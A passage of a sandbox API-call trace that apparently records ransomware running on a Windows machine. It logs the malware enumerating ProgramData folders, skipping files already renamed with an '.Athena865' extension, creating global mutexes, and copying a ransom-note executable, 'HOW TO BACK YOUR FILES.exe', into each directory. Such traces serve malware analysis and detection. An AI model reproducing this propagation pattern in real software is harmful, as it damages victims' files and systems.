(lpString1="MS.WINPROJ.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.660] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.WINPROJ.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.WINPROJ.DEV.14.1033.hxn.Athena865") returned="MS.WINPROJ.DEV.14.1033.hxn.Athena865" [0097.660] lstrlenW (lpString="MS.WINPROJ.DEV.14.1033.hxn.Athena865") returned 36 [0097.660] lstrlenW (lpString="Athena865") returned 9 [0097.660] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.660] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b09c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn.Athena865", cAlternateFileName="MSWINW~1.ATH")) returned 1 [0097.660] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.660] lstrcmpiW (lpString1="MS.WINWORD.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.660] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.WINWORD.14.1033.hxn.Athena865" | out: lpString1="MS.WINWORD.14.1033.hxn.Athena865") returned="MS.WINWORD.14.1033.hxn.Athena865" [0097.660] lstrlenW (lpString="MS.WINWORD.14.1033.hxn.Athena865") returned 32 [0097.660] lstrlenW (lpString="Athena865") returned 9 [0097.660] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.660] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSWINW~2.ATH")) returned 1 [0097.660] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.660] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.660] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.WINWORD.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.WINWORD.DEV.14.1033.hxn.Athena865") returned="MS.WINWORD.DEV.14.1033.hxn.Athena865" [0097.660] lstrlenW (lpString="MS.WINWORD.DEV.14.1033.hxn.Athena865") returned 36 [0097.660] lstrlenW (lpString="Athena865") returned 9 [0097.660] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.660] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xc4b55f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x24e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nslist.hxl.Athena865", cAlternateFileName="NSLIST~1.ATH")) returned 1 [0097.660] lstrcmpiW (lpString1="nslist.hxl.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.660] lstrcmpiW (lpString1="nslist.hxl.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.660] lstrcpyW (in: lpString1=0x241e8a6, lpString2="nslist.hxl.Athena865" | out: lpString1="nslist.hxl.Athena865") returned="nslist.hxl.Athena865" [0097.660] lstrlenW (lpString="nslist.hxl.Athena865") returned 20 [0097.660] lstrlenW (lpString="Athena865") returned 9 [0097.661] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.661] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xc4b55f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x24e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nslist.hxl.Athena865", cAlternateFileName="NSLIST~1.ATH")) returned 0 [0097.661] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.661] ReleaseMutex (hMutex=0xec) returned 1 [0097.661] CloseHandle (hObject=0xec) returned 1 [0097.661] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Mozilla" | out: lpString1="C:\\ProgramData\\Application Data\\Mozilla") returned="C:\\ProgramData\\Application Data\\Mozilla" [0097.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515df0 | out: hHeap=0x4f0000) returned 1 [0097.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530ad0 | out: hHeap=0x4f0000) returned 1 [0097.661] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Mozilla") returned 39 [0097.661] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4E32630470E24DD638104B3FDE8C5F1D") returned 0xec [0097.661] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.661] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Mozilla" | out: lpString1="C:\\ProgramData\\Application Data\\Mozilla") returned="C:\\ProgramData\\Application Data\\Mozilla" [0097.661] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.661] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.662] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\mozilla\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.662] GetLastError () returned 0x0 [0097.662] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.662] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.663] CloseHandle (hObject=0xf4) returned 1 [0097.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.663] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.663] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Mozilla\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.663] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.663] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.663] lstrcpyW (in: lpString1=0x241e898, lpString2="logs" | out: lpString1="logs") returned="logs" [0097.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530ad0 [0097.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x523fb8 [0097.663] lstrcatW (in: lpString1="logs", lpString2="\\" | out: lpString1="logs\\") returned="logs\\" [0097.663] lstrcatW (in: lpString1="logs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="logs\\HOW TO BACK YOUR FILES.exe") returned="logs\\HOW TO BACK YOUR FILES.exe" [0097.663] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\mozilla\\logs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.664] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc4b55f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b55f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0097.664] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.664] ReleaseMutex (hMutex=0xec) returned 1 [0097.664] CloseHandle (hObject=0xec) returned 1 [0097.664] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Oracle" | out: lpString1="C:\\ProgramData\\Application Data\\Oracle") returned="C:\\ProgramData\\Application Data\\Oracle" [0097.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5162c0 | out: hHeap=0x4f0000) returned 1 [0097.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530ae8 | out: hHeap=0x4f0000) returned 1 [0097.664] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Oracle") returned 38 [0097.664] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6DDA0B86DC4852A48D4D63F7934AE47D") returned 0xec [0097.664] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.664] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Oracle" | out: lpString1="C:\\ProgramData\\Application Data\\Oracle") returned="C:\\ProgramData\\Application Data\\Oracle" [0097.664] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.664] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.665] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\oracle\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.665] GetLastError () returned 0x0 [0097.665] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.665] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.666] CloseHandle (hObject=0xf4) returned 1 [0097.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.666] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.666] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Oracle\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.666] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.666] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.666] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Package Cache" | out: lpString1="C:\\ProgramData\\Application Data\\Package Cache") returned="C:\\ProgramData\\Application Data\\Package Cache" [0097.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524020 | out: hHeap=0x4f0000) returned 1 [0097.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530b00 | out: hHeap=0x4f0000) returned 1 [0097.666] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Package Cache") returned 45 [0097.666] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\05F24085EB6A2BDE9D7F77DC8E9F1E51") returned 0xec [0097.666] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.667] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Package Cache" | out: lpString1="C:\\ProgramData\\Application Data\\Package Cache") returned="C:\\ProgramData\\Application Data\\Package Cache" [0097.667] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.667] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.667] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.667] GetLastError () returned 0x0 [0097.667] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.667] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.668] CloseHandle (hObject=0xf4) returned 1 [0097.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.668] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.668] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Package Cache\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.668] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.668] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.669] lstrcpyW (in: lpString1=0x241e8a4, lpString2="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0097.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b00 [0097.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xae) returned 0x520b60 [0097.669] lstrcatW (in: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="\\" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0097.669] lstrcatW (in: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" [0097.669] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.669] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0097.669] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.669] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.669] lstrcpyW (in: lpString1=0x241e8a4, lpString2="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0097.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530ae8 [0097.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xae) returned 0x50ed90 [0097.669] lstrcatW (in: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="\\" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0097.669] lstrcatW (in: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" [0097.670] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.670] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.670] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.670] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0097.670] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.670] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.670] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0097.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530ab8 [0097.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc0) returned 0x50ee48 [0097.670] lstrcatW (in: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="\\" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0097.670] lstrcatW (in: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0097.670] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.671] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0097.671] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.671] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.671] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0097.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bc80 [0097.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x50c618 [0097.671] lstrcatW (in: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="\\" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0097.671] lstrcatW (in: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" [0097.671] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.672] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0097.672] lstrcmpiW 